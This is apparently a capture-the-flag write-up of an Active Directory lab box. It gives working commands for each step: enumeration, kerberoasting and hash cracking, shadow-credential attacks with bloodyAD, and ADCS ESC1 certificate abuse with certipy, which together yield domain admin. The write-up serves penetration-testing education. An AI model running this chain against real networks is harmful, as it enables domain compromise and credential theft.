Post

Arasaka HackSmarter

Arasaka HackSmarter

Arasaka HackSmarter

Arasaka is an easy active directory box which focuses on an assumed breach scenario in which we already own a user in a domain. After some enumeration it is revealed that a kerberoastable user is present inside the domain which through lateral movement leads us to a an account which can perform ADCS ESC1 on the domain using vulnerable templates, this gaves us the hash of the domain admin user allowing us to pwn the full domain.

image.png

Initial Enumeration

NOTE- Since this is an assumed breach scenario, initial credentials are given to us. faraday:hacksmarter123

Starting with nmap to find the open ports and services running on the box.

1
rustmap.py -ip 10.0.28.240

image.png

image.png

Identified that the DC01 is the domain controller name and the domain is hacksmarter.local

SMB Enumeration

Since we have creds doing some SMB enumeration to see if we can find something on shares.

1
nxc smb dc01.hacksmarter.local -u 'faraday' -p 'hacksmarter123' --shares

image.png

No new share found in smb, lets get all the users on the domain using RID-BRUTEFORCING attack.

RID Bruteforcing

Lets do some RID bruteforcing with netexec.

1
nxc smb dc01.hacksmarter.local -u 'faraday' -p 'hacksmarter123' --rid-brute

image.png

Saved them into a file users.txt

lets gather some bloodhound data first.

Bloodhound

Using bloodhound to gather bloodhound data.

1
rusthound-ce --domain hacksmarter.local -i 10.0.28.240 -u 'faraday' -p 'hacksmarter123' -z

image.png

Analysing this data in bloodhound we have this.

image.png

But faraday dont have permissions to be able to review templates on DC using CA.

Exploitation

Kerberoasting

Checking for the kerberoastable users on the box we have this.

image.png

We have a SPN set on this ALT.SVC user, kerberoasting it using netexec.

1
nxc ldap dc01.hacksmarter.local -u 'faraday' -p 'hacksmarter123' --kerberoasting kerberoastable.txt --kdcHost 10.0.28.240

image.png

Cracking this hash using hashcat.

1
hashcat -m 13100 kerberoastable.txt /usr/share/wordlists/rockyou.txt 

image.png

From bloodhound we have this path !

image.png

Alt-svc → Yorinobu

As Alt-svc we have genericAll on Yorinobu Exploiting this using bloodyAD shadow credentials attack.

1
bloodyAD -d hacksmarter.local -i 10.0.28.240 -u 'alt.svc' -p 'babygirl1' add shadowCredentials 'Yorinobu'

image.png

we now own yorinobu marking him as owned in bloodhound.

Yorinobu → Soulkiller.svc

As yorinobu we have genericWrite over Soulkiller.svc, using bloodyAD to perform a shadowCredentials attack on it.

1
bloodyAD -d hacksmarter.local -i 10.0.28.240 -u 'Yorinobu' -p ':5d21eb21b243284ed2cd8d04ac187c0f' add shadowCredentials 'Soulkiller.svc'

image.png

Marking yorinobu as owned in bloodhound.

Now according to bloodhound soulkiller.svc can perform a ESC1 attack on the DC.

ESC1

Checking for ESC1 using certipy.

1
certipy find -u 'soulkiller.svc' -hashes 'f4ab68f27303bcb4024650d8fc5f973a' -dc-ip '10.0.28.240' -target dc01.hacksmarter.local -vulnerable -text -enabled

image.png

Looking at the results we have this.

image.png

This confirms that this is vulnerable to ESC1

Lets exploit this using certipy

1
certipy req -u 'soulkiller.svc' -hashes 'f4ab68f27303bcb4024650d8fc5f973a' -dc-ip 10.0.28.240 -ca 'hacksmarter-DC01-CA' -template 'AI_Takeover' -upn 'Administrator@hacksmarter.local'

image.png

Authentication using certipy.

1
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.28.240 -ns 10.0.28.240 -username administrator -domain hacksmarter.local

image.png

It failed with the kerberos key error.

Generating .PFX using another Domain Admin user the_emperor

1
certipy req -u 'soulkiller.svc' -hashes 'f4ab68f27303bcb4024650d8fc5f973a' -dc-ip 10.0.28.240 -ca 'hacksmarter-DC01-CA' -template 'AI_Takeover' -upn 'the_emperor@hacksmarter.local'

image.png

Authentication with the the_emperor user.

1
certipy auth -pfx 'the_emperor.pfx' -dc-ip 10.0.28.240 -ns 10.0.28.240 -username 'the_emperor' -domain 'hacksmarter.local'

image.png

We now have the domain admin account hash, lets winrm into the box.

Evil Winrm

Using evil winrm.

image.png

1
python3 /opt/winrmexec/evil_winrmexec.py -dc-ip 10.0.28.240 -k dc01.hacksmarter.local

image.png

Claiming the root.txt from the administrator’s desktop.

image.png

Thanks for reading 🙂

This post is licensed under CC BY 4.0 by the author.